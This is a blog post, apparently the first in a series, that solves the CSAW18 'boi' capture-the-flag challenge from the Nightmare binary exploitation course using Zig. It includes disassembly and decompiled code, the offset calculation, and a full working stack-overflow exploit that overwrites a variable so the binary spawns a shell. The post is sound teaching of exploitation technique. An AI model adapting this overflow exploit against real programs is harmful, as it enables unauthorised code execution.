[Home] [Blog] [Showcase] [About]



                                                        
       -.                                 -`      
       oNy:                            `+dM.      
       /MMMd+`                       .oNMMN       
       -MMmmMNy-                  `/hNMdMMm       
       `MMh`/hMNd/`             -smMNy-.MMh       
        NMm  `-sNMmyyyyyyyyyyyyhNMd+.  -MMs       
        dMM    :dMMMMdhhhhhhhNMMMMs.   /MM/       
        yMM. -hNMh+NMh`     :NMd+mMmo. sMM-       
        oMMoyNMh:  :NMh`   :NMd. `+mMmohMM`       
        :MMMMh:`    :NMh` :NMd.    .omMMMN        
        /MMd/`       /NMh/NMd.       .oNMN`       
       `dMN.          /NMMMd`          +MM+       
       +MM+            sMMM-            dMN.      
      .NMd`           :NMMMh`           :MMy      
      +NMm/`         :NMd/NMd`         .oMMm.     
       :yNMmo.      :NMd` :NMd`     `:yNMmo.      
         .+dMNh:`  :NMd`   :NMd`  .+dMNh:`        
           `:yNMdo/NMd.     /NMd:yNMmo-           
              .omMMMMdhhhhhhhNMMMNh/`             
                `/NMMdyyyyyyyNMMh-                
                  -mMm-     +MMy`                 
                   .mMN-   oMMs                   
                    .dMNyyhMMo                    
                     `yhhhhh+                     
                                                  
    

Artix Fox

|---------------------------------------------------------------------------|
|-------------------------Exploit development with zig----------------------|
|-------------------------------and nightmare-------------------------------|
|---------------------------------------------------------------------------|
                                                                23 April 2021
--[Table of content 1. Introduction 1.1 What is zig? 1.1 What is nightmare? 2. Requirements 3. Module 04-bof-variable Challenge 1- Csaw18 boi 3.1 Opening and spawning the binary 3.2 Send padding,raw integer and command 4. Basic barebones library
Introduction
----------------------------------------------------------------------
In the upcoming 40[?] posts,I will be writing about my journey of learning exploit development with zig. In each post, we will only be covering one challenege from every module.
What is zig?
----------------------------------------------------------------------
Zig is a general-purpose programming language and toolchain for maintaining robust, optimal, and reusable software. It has some really cool features like - Comptime - No C dependency - Great FFI support - Great build system - Extremely easy to cross compile stuff
What is Nightmare? 
----------------------------------------------------------------------
Nightmare is an intro to binary exploitation course based around ctf challenges made by guyinatuxedo. These challenges are one of the best ways to learn binary exploitation.
Requirements
----------------------------------------------------------------------
You are required to know and install: - Radare2 [just basics, the radare2 book is a great resource] - x86 and x86_64 assembly for linux - Zig [use ziglearn to learn] - Python and Pwntools [for calculations and prototype] - r2ghidra - Ghidra [for rechecking decompiled code]
Challenge 1- Csaw18 boi
----------------------------------------------------------------------
We will start by analyzing the binary and check what mitigations it has

            ❯ pwn checksec boi 
            [*] '/home/void/nightmare/modules/04-bof_variable/csaw18_boi/boi'
            Arch:     amd64-64-little
            RELRO:    Partial RELRO
            Stack:    Canary found
            NX:       NX enabled
            PIE:      No PIE (0x400000)
    
Except Non executable stack and stack canary, it has no other mitigations. ❯ ./boi Are you a big boiiiii?? lsdsfsf Fri Apr 23 03:36:52 PM IST 2021 Executing the binary shows that it prints a string and then asks for input. After recieving this input, it prints current time and exits. Let's fire up radare2 and check the binary

        [0x7fd026016050]> afl
        0x00400530    1 41           entry0
        0x00400510    1 6            sym.imp.__libc_start_main
        0x00400560    4 50   -> 41   sym.deregister_tm_clones
        0x004005a0    4 58   -> 55   sym.register_tm_clones
        0x004005e0    3 28           sym.__do_global_dtors_aux
        0x00400600    4 38   -> 35   entry.init0
        0x00400750    1 2            sym.__libc_csu_fini
        0x00400754    1 9            sym._fini
        0x004006e0    4 101          sym.__libc_csu_init
        0x00400641    6 159          main
        0x00400626    1 27           sym.run_cmd
        0x004004f0    1 6            sym.imp.system
        0x00400498    3 26           sym._init
        0x00400520    1 6            sym..plt.got
        0x004004d0    1 6            sym.imp.puts
        0x004004e0    1 6            sym.imp.__stack_chk_fail
        0x00400500    1 6            sym.imp.read
        
The binary has 2 functions that are interesting to us, sym.run_cmd and main decompiling main function shows

    [0x00400641]> pdg

    // WARNING: Could not reconcile some variable overlaps
    // WARNING: [r2ghidra] Failed to match type int for variable argc to Decompiler type: Unknown type identifier int
    // WARNING: [r2ghidra] Detected overlap for variable var_30h
    // WARNING: [r2ghidra] Detected overlap for variable var_1ch
    
    undefined8 main(undefined8 argc, char **argv)
    {
        undefined8 uVar1;
        int64_t in_FS_OFFSET;
        int64_t var_40h;
        int64_t var_34h;
        int64_t var_28h;
        int64_t var_20h;
        int64_t var_18h;
        int64_t var_8h;
        
        var_8h = *(int64_t *)(in_FS_OFFSET + 0x28);
        stack0xffffffffffffffc8 = 0;
        var_28h = 0;
        var_18h._0_4_ = 0;
        var_20h = -0x2152411100000000;
        var_34h._0_4_ = (undefined4)argc;
        sym.imp.puts("Are you a big boiiiii??");
        sym.imp.read(0, (int64_t)&var_34h + 4, 0x18);
        if (var_20h._4_4_ == -0x350c4512) {
            sym.run_cmd((int64_t)"/bin/bash");
        } else {
            sym.run_cmd((int64_t)"/bin/date");
        }
        uVar1 = 0;
        if (var_8h != *(int64_t *)(in_FS_OFFSET + 0x28)) {
            uVar1 = sym.imp.__stack_chk_fail();
        }
        return uVar1;
    }
okay...well none of this makes any sense, but looking at the assembly shows us some important stuff. There are 2 important variables var_30h @ rbp-0x30 and var_1ch @rbp-0x1c. the input is of size 0x18 and is written in var_30h and var_1ch is compared to 0xcaf3baee. If they are equal, then it executes /bin/bash else, it executes /bin/date. We have enough information to now start looking and planning how our exploit will be. 0x1c-0x30 = 20 and 0x18 = 24. This means that we have a 4 byte overflow! Hell yes! We now need 20 bytes of padding and then the 4 bytes will be our integer. Lets try this in zig. Things we need to do- 1. Open and spawn a binary 2. Send padding, raw integer and command Opening and spawning a binary first lets choose a allocator to use, we will be using arena allocator with general purpose allocator.

            var gpa = std.heap.GeneralPurposeAllocator(.{}){};
            defer _ = gpa.deinit();
            var arena = std.heap.ArenaAllocator.init(&gpa.allocator);
            var alloc = &arena.allocator;
            defer arena.deinit(); 
        
Now lets look at the zig stdlib source code and see what we can use std.ChildProcess. std.ChildProcess has init() and spawn() function which allows us to run the binary and work with it. It also has 2 more thing that are going to help us, stdin_behavior and stdout_behavior

            var proc = try std.ChildProcess.init(&[_][]const u8{"./boi"}, alloc);
            proc.stdin_behavior = .Pipe;
            proc.stdout_behavior = .Inherit;
            try proc.spawn();
        
Now we have set up the binary with stdin as a pipe and stdout inherit [meaning, it will do nothing with stdout]. Send padding,raw integer and command We cannot just send integer as in to the binary, soo we will be converting it to u8 slice using std.mem.writeIntSlice. In zig, strings are just const u8, meaning that u cannot just append it, u have to either use a u8 array or arraylist. Here, what we are doing is very simple, so we will just print it to stdin.

            var addr: [4]u8 = undefined;
        
            std.mem.writeIntSlice(
                u32,
                addr[0..],
                0xcaf3baee,
                std.builtin.Endian.Little,
            );
            try proc.stdin.?.writer().print("{s}{s}\nwhoami\n", .{ "0" ** 20, addr[0..] });
        
now we have written the padding, raw integer and the command to stdin. Now, lets execute it and check if it works

    ❯ zig run shit.zig
    Are you a big boiiiii??
    void
HELL YES IT WORKED!!
Code
----------------------------------------------------------------------

    const std = @import("std");
    
    pub fn main() anyerror!void {
        var gpa = std.heap.GeneralPurposeAllocator(.{}){};
        defer _ = gpa.deinit();
        var arena = std.heap.ArenaAllocator.init(&gpa.allocator);
        var alloc = &arena.allocator;
        defer arena.deinit();
        try std.io.getStdOut().writer().print("Trying to open ./boi", .{});
    
        var proc = try std.ChildProcess.init(&[_][]const u8{"./boi"}, alloc);
        proc.stdin_behavior = .Pipe;
        proc.stdout_behavior = .Inherit;
        try proc.spawn();
        var addr: [4]u8 = undefined;
    
        std.mem.writeIntSlice(
            u32,
            addr[0..],
            0xcaf3baee,
            std.builtin.Endian.Little,
        );
        try proc.stdin.?.writer().print("{s}{s}\nwhoami\n", .{ "0" ** 20, addr[0..] });
    }